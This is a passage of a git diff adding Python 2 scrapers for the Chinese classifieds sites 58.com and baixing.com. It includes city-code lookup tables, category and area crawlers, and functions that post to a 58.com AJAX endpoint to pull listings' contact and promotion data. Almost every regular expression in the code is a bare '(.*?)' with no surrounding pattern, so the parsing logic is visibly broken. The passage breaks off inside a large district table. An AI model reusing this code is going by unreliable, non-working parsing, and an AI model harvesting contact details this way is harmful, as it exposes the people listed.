海口 + 'sanya': 4602, # 三亚 + 'wzs': 4603, # 五指山 + 'sansha': 3509, # 三沙 + 'qh': 4604, # 琼海 + 'wenchang': 4606, # 文昌 + 'wanning': 4607, # 万宁 + 'tunchang': 0, # 屯昌 + 'qiongzhong': 0, # 琼中 + 'lingshui': 0, # 陵水 + 'df': 4608, # 东方 + 'da': 0, # 定安 + 'cm': 0, # 澄迈 + 'baoting': 0, # 保亭 + 'baish': 5307, # 白沙 + 'danzhou': 4605, # 儋州 + 'zz': 4101, # 郑州 + 'luoyang': 4103, # 洛阳 + 'xx': 4107, # 新乡 + 'ny': 4113, # 南阳 + 'xc': 4110, # 许昌 + 'pds': 4104, # 平顶山 + 'ay': 4105, # 安阳 + 'jiaozuo': 4108, # 焦作 + 'sq': 4114, # 商丘 + 'kaifeng': 4102, # 开封 + 'puyang': 4109, # 濮阳 + 'zk': 4116, # 周口 + 'xy': 4115, # 信阳 + 'zmd': 4117, # 驻马店 + 'luohe': 4111, # 漯河 + 'smx': 4112, # 三门峡 + 'hb': 4106, # 鹤壁 + 'jiyuan': 4118, # 济源 + 'mg': 4115, # 明港 + 'yanling': 4110, # 鄢陵 + 'yuzhou': 4110, # 禹州 + 'changge': 4110, # 长葛 + 'wh': 4201, # 武汉 + 'yc': 4205, # 宜昌 + 'xf': 4204, # 襄阳 + 'jingzhou': 4210, # 荆州 + 'shiyan': 4203, # 十堰 + 'hshi': 4202, # 黄石 + 'xiaogan': 4209, # 孝感 + 'hg': 4211, # 黄冈 + 'es': 4228, # 恩施 + 'jingmen': 4208, # 荆门 + 'xianning': 4212, # 咸宁 + 'ez': 4207, # 鄂州 + 'suizhou': 4213, # 随州 + 'qianjiang': 4230, # 潜江 + 'tm': 4231, # 天门 + 'xiantao': 4229, # 仙桃 + 'snj': 4232, # 神农架 + 'yidou': 4205, # 宜都 + 'cs': 4301, # 长沙 + 'zhuzhou': 4302, # 株洲 + 'yiyang': 4309, # 益阳 + 'changde': 4307, # 常德 + 'hy': 4304, # 衡阳 + 'xiangtan': 4303, # 湘潭 + 'yy': 4306, # 岳阳 + 'chenzhou': 4310, # 郴州 + 'shaoyang': 4305, # 邵阳 + 'hh': 4312, # 怀化 + 'yongzhou': 4311, # 永州 + 'ld': 4313, # 娄底 + 'xiangxi': 4331, # 湘西 + 'zjj': 4308, # 张家界 + 'nc': 3601, # 南昌 + 'ganzhou': 3607, # 赣州 + 'jj': 3604, # 九江 + 'yichun': 3609, # 宜春 + 'ja': 3608, # 吉安 + 'sr': 3611, # 上饶 + 'px': 3603, # 萍乡 + 'fuzhou': 3610, # 抚州 + 'jdz': 3602, # 景德镇 + 'xinyu': 3605, # 新余 + 'yingtan': 3606, # 鹰潭 + 'yxx': 3608, # 永新 + 'sy': 2101, # 沈阳 + 'dl': 2102, # 大连 + 'as': 2103, # 鞍山 + 'jinzhou': 2107, # 锦州 + 'fushun': 2104, # 抚顺 + 'yk': 2108, # 营口 + 'pj': 2111, # 盘锦 + 'cy': 2113, # 朝阳 + 'dandong': 2106, # 丹东 + 'liaoyang': 2110, # 辽阳 + 'benxi': 2105, # 本溪 + 'hld': 2114, # 葫芦岛 + 'tl': 2112, # 铁岭 + 'fx': 2109, # 阜新 + 'pld': 2102, # 庄河 + 'wfd': 2102, # 瓦房店 + 'hrb': 2301, # 哈尔滨 + 'dq': 2306, # 大庆 + 'qqhr': 2302, # 齐齐哈尔 + 'mdj': 2310, # 牡丹江 + 'suihua': 2312, # 绥化 + 'jms': 2308, # 佳木斯 + 'jixi': 2303, # 鸡西 + 'sys': 2305, # 双鸭山 + 'hegang': 2304, # 鹤岗 + 'heihe': 2311, # 黑河 + 'yich': 2307, # 伊春 + 'qth': 2309, # 七台河 + 'dxal': 2327, # 大兴安岭 + 'cc': 2201, # 长春 + 'jl': 22, # 吉林 + 'sp': 2203, # 四平 + 'yanbian': 2224, # 延边 + 'songyuan': 2207, # 松原 + 'bc': 2208, # 白城 + 'th': 2205, # 通化 + 'baishan': 2206, # 白山 + 'liaoyuan': 2204, # 辽源 + 'cd': 5101, # 成都 + 'mianyang': 5107, # 绵阳 + 'deyang': 5106, # 德阳 + 'nanchong': 5113, # 南充 + 'yb': 5115, # 宜宾 + 'zg': 5103, # 自贡 + 'ls': 5111, # 乐山 + 'luzhou': 5105, # 泸州 + 'dazhou': 5117, # 达州 + 'scnj': 5110, # 内江 + 'suining': 5109, # 遂宁 + 'panzhihua': 5104, # 攀枝花 + 'ms': 5114, # 眉山 + 'ga': 5116, # 广安 + 'zy': 5120, # 资阳 + 'liangshan': 5134, # 凉山 + 'guangyuan': 5108, # 广元 + 'ya': 5118, # 雅安 + 'bazhong': 5119, # 巴中 + 'ab': 5132, # 阿坝 + 'ganzi': 5133, # 甘孜 + 'km': 5301, # 昆明 + 'qj': 5303, # 曲靖 + 'dali': 5329, # 大理 + 'honghe': 5325, # 红河 + 'yx': 5304, # 玉溪 + 'lj': 5307, # 丽江 + 'ws': 5326, # 文山 + 'cx': 5323, # 楚雄 + 'bn': 5328, # 西双版纳 + 'zt': 5306, # 昭通 + 'dh': 5331, # 德宏 + 'pe': 5311, # 普洱 + 'bs': 5305, # 保山 + 'lincang': 5309, # 临沧 + 'diqing': 5334, # 迪庆 + 'nujiang': 5333, # 怒江 + 'gy': 5201, # 贵阳 + 'zunyi': 5203, # 遵义 + 'qdn': 5226, # 黔东南 + 'qn': 5227, # 黔南 + 'lps': 5202, # 六盘水 + 'bijie': 5224, # 毕节 + 'tr': 5222, # 铜仁 + 'anshun': 5204, # 安顺 + 'qxn': 5223, # 黔西南 + 'lasa': 5401, # 拉萨 + 'rkz': 5423, # 日喀则 + 'sn': 5422, # 山南 + 'linzhi': 5426, # 林芝 + 'changdu': 5421, # 昌都 + 'nq': 5424, # 那曲 + 'al': 5425, # 阿里 + 'rituxian': 5425, # 日土 + 'gaizexian': 5425, # 改则 + 'sjz': 1301, # 石家庄 + 'bd': 1306, # 保定 + 'ts': 1302, # 唐山 + 'lf': 1310, # 廊坊 + 'hd': 1304, # 邯郸 + 'qhd': 1303, # 秦皇岛 + 'cangzhou': 1309, # 沧州 + 'xt': 1305, # 邢台 + 'hs': 1311, # 衡水 + 'zjk': 1307, # 张家口 + 'chengde': 1308, # 承德 + 'dingzhou': 1306, # 定州 + 'gt': 1304, # 馆陶 + 'zhangbei': 1307, # 张北 + 'zx': 1301, # 赵县 + 'zd': 1301, # 正定 + 'ty': 1401, # 太原 + 'linfen': 1410, # 临汾 + 'dt': 1402, # 大同 + 'yuncheng': 1408, # 运城 + 'jz': 1407, # 晋中 + 'changzhi': 1404, # 长治 + 'jincheng': 1405, # 晋城 + 'yq': 1403, # 阳泉 + 'lvliang': 1411, # 吕梁 + 'xinzhou': 1409, # 忻州 + 'shuozhou': 1406, # 朔州 + 'linyixian': 1408, # 临猗 + 'qingxu': 1401, # 清徐 + 'hu': 1501, # 呼和浩特 + 'bt': 1502, # 包头 + 'chifeng': 1504, # 赤峰 + 'erds': 1506, # 鄂尔多斯 + 'tongliao': 1505, # 通辽 + 'hlbe': 1507, # 呼伦贝尔 + 'bycem': 1508, # 巴彦淖尔市 + 'wlcb': 1509, # 乌兰察布 + 'xl': 1525, # 锡林郭勒 + 'xam': 1522, # 兴安盟 + 'wuhai': 1503, # 乌海 + 'alsm': 1529, # 阿拉善盟 + 'hlr': 1507, # 海拉尔 + 'xa': 6101, # 西安 + 'xianyang': 6104, # 咸阳 + 'baoji': 6103, # 宝鸡 + 'wn': 6105, # 渭南 + 'hanzhong': 6107, # 汉中 + 'yl': 6108, # 榆林 + 'yanan': 6106, # 延安 + 'ankang': 6109, # 安康 + 'sl': 6110, # 商洛 + 'tc': 6102, # 铜川 + 'xj': 6501, # 乌鲁木齐 + 'changji': 6523, # 昌吉 + 'bygl': 6528, # 巴音郭楞 + 'yili': 6540, # 伊犁 + 'aks': 6529, # 阿克苏 + 'ks': 6531, # 喀什 + 'hami': 6522, # 哈密 + 'klmy': 6502, # 克拉玛依 + 'betl': 6527, # 博尔塔拉 + 'tlf': 6521, # 吐鲁番 + 'ht': 6532, # 和田 + 'shz': 6544, # 石河子 + 'kzls': 6530, # 克孜勒苏 + 'ale': 6545, # 阿拉尔 + 'wjq': 6547, # 五家渠 + 'tmsk': 6546, # 图木舒克 + 'kel': 6528, # 库尔勒 + 'alt': 6543, # 阿勒泰 + 'tac': 6542, # 塔城 + 'lz': 6201, # 兰州 + 'tianshui': 6205, # 天水 + 'by': 6204, # 白银 + 'qingyang': 6210, # 庆阳 + 'pl': 6208, # 平凉 + 'jq': 6209, # 酒泉 + 'zhangye': 6207, # 张掖 + 'wuwei': 6206, # 武威 + 'dx': 6211, # 定西 + 'jinchang': 6203, # 金昌 + 'ln': 6212, # 陇南 + 'linxia': 6229, # 临夏 + 'jyg': 6202, # 嘉峪关 + 'gn': 6230, # 甘南 + 'yinchuan': 6401, # 银川 + 'wuzhong': 6403, # 吴忠 + 'szs': 6402, # 石嘴山 + 'zw': 6405, # 中卫 + 'guyuan': 6404, # 固原 + 'xn': 6301, # 西宁 + 'hx': 6328, # 海西 + 'haibei': 6322, # 海北 + 'guoluo': 6326, # 果洛 + 'haidong': 6321, # 海东 + 'huangnan': 6323, # 黄南 + 'ys': 6327, # 玉树 + 'hainan': 46, # 海南 + 'hk': 81, # 香港 + 'am': 82, # 澳门 + 'tw': 71, # 台湾 + 'quanguo': 0, # 全国 + 'cn': 0, # 其他 +} def get_city_list(): """ 获取城市列表 """ - response = s.get(url, headers=header) + # 入口页的url + url = 'http://www.58.com/changecity.aspx' + header = { + 'Host': 'www.58.com', + 'Referer': 'http://www.58.com/', + 'User-Agent': UserAgent + } + response = requests.get(url, headers=header) html = response.text - rule = '(.*?)' + rule = '(.*?)' city_list = re.compile(rule, re.S).findall(html) city = {} for item in city_list: @@ -33,5 +475,398 @@ def get_city_list(): print json.dumps(city, indent=4).decode('raw_unicode_escape') +def parse_city_list(): + """ + 解析城市列表(去除海外城市) + """ + # 入口页的url + url = 'http://www.58.com/changecity.aspx' + header = { + 'Host': 'www.58.com', + 'Referer': 'http://www.58.com/', + 'User-Agent': UserAgent + } + response = requests.get(url, headers=header) + html = response.text + doc = lxml.html.fromstring(html) + + # 省份 + province_list = doc.xpath('//dl[@id="clist"]//dt[not(@class)]/text()')[:-1] + # for i in province_list: + # print i + + # 城市 + city_rule = '(.*?)' + city_list = doc.xpath('//dl[@id="clist"]//dd[not(@class)]')[:-1] + + result = [] + for index, city_item in enumerate(city_list): + city_link_list = city_item.xpath('./a') + for city_link in city_link_list: + city_link_html = lxml.html.tostring(city_link, encoding='utf-8') + city_result = re.compile(city_rule, re.S).findall(city_link_html) + print city_result[0][0], city_result[0][1], province_list[index] + result.append([city_result[0][0], city_result[0][1], province_list[index]]) + + # 校验省份城市数量 + # print len(province_list), len(city_list) + + return result + + +def get_cate_list_shenghuo(): + """ + 获取分类列表 + """ + # 入口页的url + url = 'http://sh.58.com/shenghuo.shtml' # 家政服务 + + header = { + 'Host': 'sh.58.com', + 'User-Agent': UserAgent + } + response = requests.get(url, headers=header) + html = response.text + doc = lxml.html.fromstring(html) + + cate_list = doc.xpath('//div[@class="sublist"]//dl[@class="catecss-item"]') + + cate_title_rule = '
(.*?)' + cate_item_rule = '(.*?)' + + for i in cate_list: + cate_title_html = lxml.html.tostring(i.xpath('./dt')[0], encoding='utf-8') + cate_item_html = lxml.html.tostring(i.xpath('./dd')[0], encoding='utf-8') + # 标题 + cate_title_result = re.compile(cate_title_rule, re.S).findall(cate_title_html) + for cate_title_list in cate_title_result: + print '#', '#', cate_title_list[0], cate_title_list[2] + + # 明细 + cate_item_result = re.compile(cate_item_rule, re.S).findall(cate_item_html) + cate = {} + for cate_item_list in cate_item_result: + cate[cate_item_list[0]] = cate_item_list[1].strip() + print cate_item_list[0], cate_item_list[1].strip() + # print json.dumps(cate, indent=4).decode('raw_unicode_escape') + + +def get_cate_list_zhuangxiujc(): + """ + 获取分类列表 + """ + # 入口页的url + # url = 'http://sh.58.com/hunjiehunqing.shtml' # 婚庆摄影 + url = 'http://sh.58.com/zhuangxiujc.shtml' # 装修建材 + + header = { + 'Host': 'sh.58.com', + 'User-Agent': UserAgent + } + response = requests.get(url, headers=header) + html = response.text + doc = lxml.html.fromstring(html) + + cate_title_list = doc.xpath('//div[@class="banner-cont"]/div[@class="sidebar"]/ul/li//a') + cate_list = doc.xpath('//div[@class="banner-cont"]/div[@class="sublist"]/div[@class="catecss"]') + + cate_title_rule = '(.*?)' + cate_item_rule = '(.*?)' + + # 标题 + title_list = [] + for i in cate_title_list: + cate_title_html = lxml.html.tostring(i, encoding='utf-8') + cate_title_result = re.compile(cate_title_rule, re.S).findall(cate_title_html) + for cate_title_list in cate_title_result: + # print '#', '#', cate_title_list[0], cate_title_list[1] + title_list.append([cate_title_list[0], cate_title_list[1]]) + # 明细 + for i, m in enumerate(cate_list[:len(title_list)]): + # 输出标题 + print '#', '#', title_list[i][0], title_list[i][1] + for n in m.xpath('./a'): + cate_item_html = lxml.html.tostring(n, encoding='utf-8') + cate_item_result = re.compile(cate_item_rule, re.S).findall(cate_item_html) + cate = {} + # 输出明细 + for cate_item_list in cate_item_result: + cate[cate_item_list[0]] = cate_item_list[1].strip() + print cate_item_list[0], cate_item_list[1].strip() + + +def get_cate_list_shangwu(): + """ + 获取分类列表 + """ + # 入口页的url + url = 'http://sh.58.com/shangwu.shtml' # 商务服务 + # url = 'http://sh.58.com/lvyouxiuxian.shtml' # 旅游酒店 + # url = 'http://sh.58.com/zhaoshang.shtml' # 招商加盟 + # url = 'http://sh.58.com/xiuxianyl.shtml' # 休闲娱乐 + + header = { + 'Host': 'sh.58.com', + 'User-Agent': UserAgent + } + response = requests.get(url, headers=header) + html = response.text + doc = lxml.html.fromstring(html) + + cate_list = doc.xpath('//div[@class="sublist"]//div[@class="catecss"]/dl') + + cate_title_rule = '(.*?)' + cate_item_rule = '(.*?)' + + for i in cate_list: + cate_title_html = lxml.html.tostring(i.xpath('./dt/a')[0], encoding='utf-8') + cate_item_html = lxml.html.tostring(i.xpath('./dd')[0], encoding='utf-8') + # 标题 + cate_title_result = re.compile(cate_title_rule, re.S).findall(cate_title_html) + for cate_title_list in cate_title_result: + print '#', '#', cate_title_list[0], cate_title_list[2] + + # 明细 + cate_item_result = re.compile(cate_item_rule, re.S).findall(cate_item_html) + cate = {} + for cate_item_list in cate_item_result: + cate[cate_item_list[0]] = cate_item_list[1].strip() + print cate_item_list[0], cate_item_list[1].strip() + + +def get_contacts(): + """ + 获取联系方式 + :return: + """ + url = 'http://sh.58.com/hyjk/listAjaxApi/' + header = { + 'Host': 'sh.58.com', + 'Referer': 'http://sh.58.com/', + 'User-Agent': UserAgent, + 'X-Requested-With': 'XMLHttpRequest' + } + s_ajax_param = 's_contact_baojie_196139473193474552186077834_' + param = '25953277422517_38982245142801_0_adsumplayinfo_8DAA63759947EF47858F8EA3AD3D3F1D' + form_data = { + 'ajax_param': s_ajax_param + param, + 'lmcate': '' + } + response = requests.post(url, data=form_data, headers=header) + + print json.dumps(response.json(), indent=4, ensure_ascii=False) + + +def get_promotion_info(): + """ + 获取会员推广信息 + :return: + """ + url = 'http://sh.58.com/hyjk/listAjaxApi/' + header = { + 'Host': 'sh.58.com', + 'Referer': 'http://sh.58.com/', + 'User-Agent': UserAgent, + 'X-Requested-With': 'XMLHttpRequest' + } + ajax_param = '{"platform":"pc","infoMethod":["renzheng","wltAge"],"dataParam":"27635365552076_42349714013201_0_adinfo,23978226171963_30110967056649_0_promationinfo,27228545116992_7715319655942_0_promationinfo,24267133521976_31011764_0_promationinfo,26341531878841_39825442758928_0_promationinfo,27537787529538_42349714013201_0_promationinfo,27369765592510_31131127077388_0_promationinfo,26203081582670_39732159639312_0_promationinfo,26852770947242_36265725460496_0_promationinfo,27227627875130_36460206072079_0_promationinfo,26919564208079_34723293059851_0_promationinfo,27297229859020_41908793267472_0_promationinfo,25970724472781_39209928147477_0_promationinfo,9709048675466_2881415678214_0_promationinfo,25526822994222_28276516466439_0_promationinfo,23733432686387_34539145627401_0_promationinfo,23746434952376_34806212995846_0_promationinfo,26428537311295_40089453348885_0_promationinfo,21175695050380_28305155861767_0_promationinfo,25897156976720_38365916388886_0_promationinfo,26760665594574_40165314644754_0_promationinfo,26671643928779_31928151670537_0_promationinfo,25743851768512_38681202520851_0_promationinfo,27374487786958_42065473327117_0_promationinfo,27094804372404_23677654908934_0_promationinfo,26576085167292_40404568069136_0_promationinfo,27646817870019_958976883975_0_promationinfo,26499543940540_40264006853649_0_promationinfo,18697452964869_24568846015751_0_promationinfo,26240781793081_39741342008592_0_promationinfo,27235189567049_41775030971412_0_promationinfo,25847911701436_28254579084295_0_promationinfo,26742286458571_40728598353936_0_promationinfo,27518150853831_42307833403927_0_promationinfo,19997647110789_27265893924870_0_promationinfo,22826141761824_17067318798087_0_promationinfo","dispCateId":168,"dispCateName":"baojie","pageIndex":8,"paramMap":null}' + form_data = { + 'ajax_param': ajax_param, + 'lmcate': '' + } + response = requests.post(url, data=form_data, headers=header) + + print json.dumps(response.json(), indent=4, ensure_ascii=False) + + +def get_area_list(city_code, city_name, province='', district=''): + """ + 获取区域列表 + :param city_code: + :param city_name: + :param province: + :param district: + :return: + """ + url = 'http://%s.58.com/banjia/' % city_code + + header = { + 'Host': '%s.58.com' % city_code, + 'User-Agent': UserAgent + } + response = requests.get(url, headers=header) + html = response.text + doc = lxml.html.fromstring(html) + link_list = doc.xpath('//dd[@id="local"]/a') + link_rule = u'(.*?)' + area_list = [] + # print "# %s" % city_name + # print "'%s': [" % city_code + # for i, link in enumerate(link_list): + # link_html = lxml.html.tostring(link, encoding='utf-8').strip() + # link_result = re.compile(link_rule, re.S).findall(link_html.decode('utf-8')) + # for v in link_result: + # area_list.append((v[0], v[1])) + # print "\t'%s'%s # %s" % (v[0], ',' if (i + 1) < len(link_list) else '', v[1]) + # print "]" + + print '{' + print '\t\'code\': \'%s\',' % city_code + print '\t\'name\': u\'%s\',' % city_name + print '\t\'small\': [' + + for i, link in enumerate(link_list): + link_html = lxml.html.tostring(link, encoding='utf-8').strip() + link_result = re.compile(link_rule, re.S).findall(link_html.decode('utf-8')) + if not link_result: + continue + print '\t\t{' + for v in link_result: + area_list.append((v[0], v[1])) + print '\t\t\t\'code\': \'%s\'' % v[0] + print '\t\t\t\'name\': u\'%s\'' % v[1] + print '\t\t\t\'id\': \'\'' + print '\t\t},' + print '\t]' + print '},' + + return { + 'city_code': city_code, + 'city_name': city_name, + 'province': province, + 'district': district, + 'area_list': area_list, + } + + +def print_city_area(): + """ + 打印城市地区 + :return: + """ + city_list = parse_city_list() + for city_code, city_name, province_name in city_list: + get_area_list(city_code, city_name) + + +def get_cate_list(cate_code, cate_name): + """ + 获取分类列表 + :param cate_code: + :param cate_name: + :return: + """ + url = 'http://sh.58.com/%s/' % cate_code + + header = { + 'Host': 'sh.58.com', + 'User-Agent': UserAgent + } + response = requests.get(url, headers=header) + html = response.text + doc = lxml.html.fromstring(html) + link_list = doc.xpath('//dd[@id="ObjectType" or @id="objecttype"]/a') + # link_rule = u'(.*?)' + link_rule = u'(.*?)' + area_list = [] + print "# %s" % cate_name + print "'%s': [" % cate_code + for i, link in enumerate(link_list): + link_html = lxml.html.tostring(link, encoding='utf-8').strip() + # print link_html + link_result = re.compile(link_rule, re.S).findall(link_html.decode('utf-8')) + for v in link_result: + area_list.append((v[0], v[1])) + print "\t'%s'%s # %s" % (v[0], ',' if (i + 1) < len(link_list) else '', v[1]) + print "]" + + +def read_csv(csv_file_path): + """ + 读取csv文件 + :param csv_file_path: + :return: + """ + with open(csv_file_path, 'rb') as csv_file: + csv_reader = csv.DictReader(csv_file) + for row in csv_reader: + print json.dumps(row, ensure_ascii=False) + yield row + + +def write_csv(csv_file_path, rows): + """ + 写入csv文件 + :param csv_file_path: + :param rows: + :return: + """ + with open(csv_file_path, 'wb') as csv_file: + csv_writer = csv.writer(csv_file) + for row in rows: + csv_writer.writerow(row) + + +def output_city_area(): + """ + 输出城市地区到文件 + :return: + """ + with open('city_area2.py', 'wb') as f: + rows = read_csv('city_map_58.csv') + f.write("# encoding: utf-8\n\n") + # f.write("area = {\n") + # for row in rows: + # city_code = row['city_code'] + # city_name = row['city_name'] + # province = row['province'] + # district = row['district'] + # city_info = get_area_list(city_code, city_name, province, district) + # f.write(" # %s %s %s\n" % (city_name, province, district)) + # f.write(" '%s': [\n" % city_code) + # for area in city_info['area_list']: + # f.write(" '%s', # %s\n" % (area[0], area[1])) + # f.write(" ],\n") + # f.flush() + # f.write("}\n") + f.write('city_map = [\n') + for row in rows: + city_code = row['city_code'] + city_name = row['city_name'] + province = row['province'] + district = row['district'] + city_info = get_area_list(city_code, city_name, province, district) + city_id = city_map.get(city_code) + f.write('\t# %s %s %s\n' % (city_name, province, district)) + f.write('\t{\n') + f.write('\t\t\'code\': \'%s\',\n' % city_code) + f.write('\t\t\'name\': u\'%s\',\n' % city_name) + f.write('\t\t\'id\': %s,\n' % city_id) + f.write('\t\t\'small\': [\n') + + for area in city_info['area_list']: + f.write('\t\t\t{\n') + f.write('\t\t\t\t\'code\': \'%s\',\n' % area[0]) + f.write('\t\t\t\t\'name\': u\'%s\',\n' % area[1]) + f.write('\t\t\t\t\'id\': %s\n' % city_id) + f.write('\t\t\t},\n') + f.write('\t\t]\n') + f.write('\t},\n') + f.flush() + f.write(']') + + if __name__ == '__main__': - get_city_list() + # get_city_list() + # parse_city_list() + # get_cate_list_shenghuo() + # get_cate_list_zhuangxiujc() + # get_cate_list_shangwu() + # get_contacts() + # get_promotion_info() + # print get_area_list('sh', u'上海') + # print_city_area() + # read_csv('city_map_58.csv') + # write_csv('test.csv', [['一', '二', '三'], [1, 2, 3], [5, 6, 7]]) + output_city_area() + # get_cate_list('caishui', u'-') diff --git a/fuck/baixing.py b/fuck/baixing.py new file mode 100644 index 0000000..70fe186 --- /dev/null +++ b/fuck/baixing.py @@ -0,0 +1,135 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: baixing.py +@time: 2017/2/10 下午6:08 +""" + + +import requests +import re +import time +import lxml.html + + +UserAgent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36' + + +def get_city(): + """ + 获取所有城市 + :return: + """ + header = { + 'Host': 'www.baixing.com', + 'User-Agent': UserAgent + } + city_url = 'http://www.baixing.com/?changeLocation=yes' + + response = requests.get(city_url, headers=header) + html = response.text + # print html + doc = lxml.html.fromstring(html) + link_list = doc.xpath('//ul/li/a') + # print link_list + link_rule = u'(.*?)' + for link in link_list: + link_html = lxml.html.tostring(link, encoding='utf-8') + city_result = re.compile(link_rule, re.S).findall(link_html.decode('utf-8')) + for city in city_result: + yield city + + +def get_area(city_code): + """ + 获取区域 + :return: + """ + header = { + 'Host': '%s.baixing.com' % city_code, + 'Referer': 'http://%s.baixing.com/' % city_code, + 'User-Agent': UserAgent + } + city_url = 'http://%s.baixing.com/baomu/' % city_code + # , proxies={'http': 'http://192.168.2.158:3128'} + response = requests.get(city_url, headers=header) + html = response.text + # print html + doc = lxml.html.fromstring(html) + link_list = doc.xpath('//div[contains(@class,"area")]') + link_rule = u'(.*?)' + for link in link_list: + link_html = lxml.html.tostring(link, encoding='utf-8') + area_result = re.compile(link_rule, re.S).findall(link_html.decode('utf-8')) + for area in area_result: + yield area + + +def get_cate(cate_code): + """ + 获取区域 + :return: + """ + header = { + 'Host': 'shanghai.baixing.com', + 'User-Agent': UserAgent + } + cate_url = 'http://shanghai.baixing.com/%s/' % cate_code + # , proxies={'http': 'http://192.168.2.158:3128'} + response = requests.get(cate_url, headers=header) + html = response.text + # print html + doc = lxml.html.fromstring(html) + link_list = doc.xpath('//div[@class="links"]') + link_rule = u'(.*?)' % cate_code + # print link_list + for link in link_list: + link_html = lxml.html.tostring(link, encoding='utf-8') + # print link_html + cate_result = re.compile(link_rule, re.S).findall(link_html.decode('utf-8')) + for cate in cate_result: + yield cate + + +def output_area(): + """ + 输出地区 + :return: + """ + for city in get_city(): + print '# %s' % city[1] + print '\'%s\': [' % city[0] + for area in get_area(city[0]): + print '\t\'%s\', # %s' % (area[0], area[1]) + print ']' + + +def test_area(city_code): + print '# %s' % '' + print '\'%s\': [' % city_code + for area in get_area(city_code): + print '\t\'%s\', # %s' % (area[0], area[1]) + print '],' + + +def test_city(): + for i in get_city(): + print i[0], i[1] + + +def test_cate(cate_code): + print '# %s' % '' + print '\'%s\': [' % cate_code + for cate in get_cate(cate_code): + print '\t\'%s\', # %s' % (cate[0], cate[1]) + print '],' + + +if __name__ == '__main__': + # output_area() + # test_area('taian') + # test_city() + test_cate('siyi') diff --git a/fuck/city_area.py b/fuck/city_area.py new file mode 100644 index 0000000..93f8818 --- /dev/null +++ b/fuck/city_area.py @@ -0,0 +1,4849 @@ +# encoding: utf-8 + +area = { + # 北京 华北 + 'bj': [ + 'chaoyang', # 朝阳 + 'haidian', # 海淀 + 'dongcheng', # 东城 + 'xicheng', # 西城 + 'chongwen', # 崇文 + 'xuanwu', # 宣武 + 'fengtai', # 丰台 + 'tongzhouqu', # 通州 + 'shijingshan', # 石景山 + 'fangshan', # 房山 + 'changping', # 昌平 + 'daxing', # 大兴 + 'shunyi', # 顺义 + 'miyun', # 密云 + 'huairou', # 怀柔 + 'yanqing', # 延庆 + 'pinggu', # 平谷 + 'mentougou', # 门头沟 + 'bjyanjiao', # 燕郊 + 'beijingzhoubian', # 北京周边 + ], + # 上海 华东 + 'sh': [ + 'huangpu', # 黄浦 + 'luwan', # 卢湾 + 'jingan', # 静安 + 'xuhui', # 徐汇 + 'pudongxinqu', # 浦东 + 'changning', # 长宁 + 'hongkou', # 虹口 + 'yangpu', # 杨浦 + 'putuo', # 普陀 + 'zhabei', # 闸北 + 'minxing', # 闵行 + 'baoshan', # 宝山 + 'jiading', # 嘉定 + 'qingpu', # 青浦 + 'fengxiansh', # 奉贤 + 'nanhui', # 南汇 + 'chongming', # 崇明 + 'jinshan', # 金山 + 'songjiang', # 松江 + 'shanghaizhoubian', # 上海周边 + ], + # 天津 华北 + 'tj': [ + 'nankai', # 南开 + 'hexi', # 河西 + 'hedong', # 河东 + 'heping', # 和平 + 'hebeiqu', # 河北 + 'hongqiaotj', # 红桥 + 'tanggu', # 塘沽 + 'donglitj', # 东丽 + 'xiqingtj', # 西青 + 'beichentj', # 北辰 + 'jinnantj', # 津南 + 'tjkaifaqu', # 开发区 + 'dagang', # 大港 + 'hangu', # 汉沽 + 'wuqing', # 武清 + 'baodi', # 宝坻 + 'jinghaiqu', # 静海 + 'ninghexian', # 宁河 + 'jianxiantj', # 蓟县 + 'tianjin', # 天津周边 + ], + # 重庆 西南 + 'cq': [ + 'jiangbei', # 江北 + 'wanzhou', # 万州 + 'yuzhong', # 渝中 + 'jiulongpo', # 九龙坡 + 'fuling', # 涪陵 + 'changshou', # 长寿 + 'shapingba', # 沙坪坝 + 'hechuan', # 合川 + 'nanan', # 南岸 + 'yubei', # 渝北 + 'banan', # 巴南 + 'beibei', # 北碚 + 'dadukou', # 大渡口 + 'yongchuan', # 永川 + 'liangjiangxinqu', # 两江新区 + 'bishanxian', # 璧山 + 'chongqing', # 重庆周边 + 'cqshizhu', # 石柱 + ], + # 青岛 山东 华东 + 'qd': [ + 'shinan', # 市南 + 'shibei', # 市北 + 'sifang', # 四方 + 'huangdao', # 黄岛 + 'laoshan', # 崂山 + 'licang', # 李沧 + 'chengyang', # 城阳 + 'jimo', # 即墨 + 'pingdu', # 平度 + 'jiaonan', # 胶南 + 'laixi', # 莱西 + 'jiaozhou', # 胶州 + 'qingdao', # 青岛周边 + ], + # 济南 山东 华东 + 'jn': [ + 'lixia', # 历下 + 'jnshizhong', # 市中 + 'tianqiao', # 天桥 + 'licheng', # 历城 + 'huaiyinqu', # 槐荫 + 'gaoxinqujn', # 高新 + 'changqingqv', # 长清 + 'zhangqiushi', # 章丘 + 'pingyin', # 平阴 + 'jiyang', # 济阳 + 'shanghe', # 商河 + 'jinanzhoubian', # 济南周边 + ], + # 烟台 山东 华东 + 'yt': [ + 'longkoudujia', # 度假区 + 'zhifu', # 芝罘 + 'longkou', # 龙口 + 'laishan', # 莱山 + 'fushan', # 福山 + 'mouping', # 牟平 + 'ytkaifaqu', # 开发区 + 'ytdaxue', # 大学城 + 'ytgaoxin', # 高新区 + 'laizhou', # 莱州 + 'penglai', # 蓬莱 + 'laiyang', # 莱阳 + 'zhaoyuan', # 招远 + 'qixia', # 栖霞 + 'changdao', # 长岛 + 'hyang', # 海阳 + 'yantan', # 烟台周边 + ], + # 潍坊 山东 华东 + 'wf': [ + 'kuiwen', # 奎文 + 'weicheng', # 潍城 + 'fangzi', # 坊子 + 'hanting', # 寒亭 + 'wfgaoxinqu', # 高新区 + 'wfbinhaixinqu', # 滨海新区 + 'shouguangqu', # 寿光 + 'jingkaiq', # 经开区 + 'anqiu', # 安丘 + 'changle', # 昌乐 + 'gaomi', # 高密 + 'linqu', # 临朐 + 'zhucheng', # 诸城 + 'changyishi', # 昌邑 + 'qingzhou', # 青州 + 'weifang', # 潍坊周边 + ], + # 临沂 山东 华东 + 'linyi': [ + 'lanshanqu', # 兰山 + 'luozhuang', # 罗庄 + 'hedongqu', # 河东 + 'tancheng', # 郯城 + 'feixian', # 费县 + 'linshu', # 临沭 + 'yinanxian', # 沂南 + 'mengyinxian', # 蒙阴 + 'pingyi', # 平邑 + 'yishui', # 沂水 + 'cangshanxian', # 兰陵 + 'junan', # 莒南 + 'linyishi', # 临沂周边 + 'lybcxqu', # 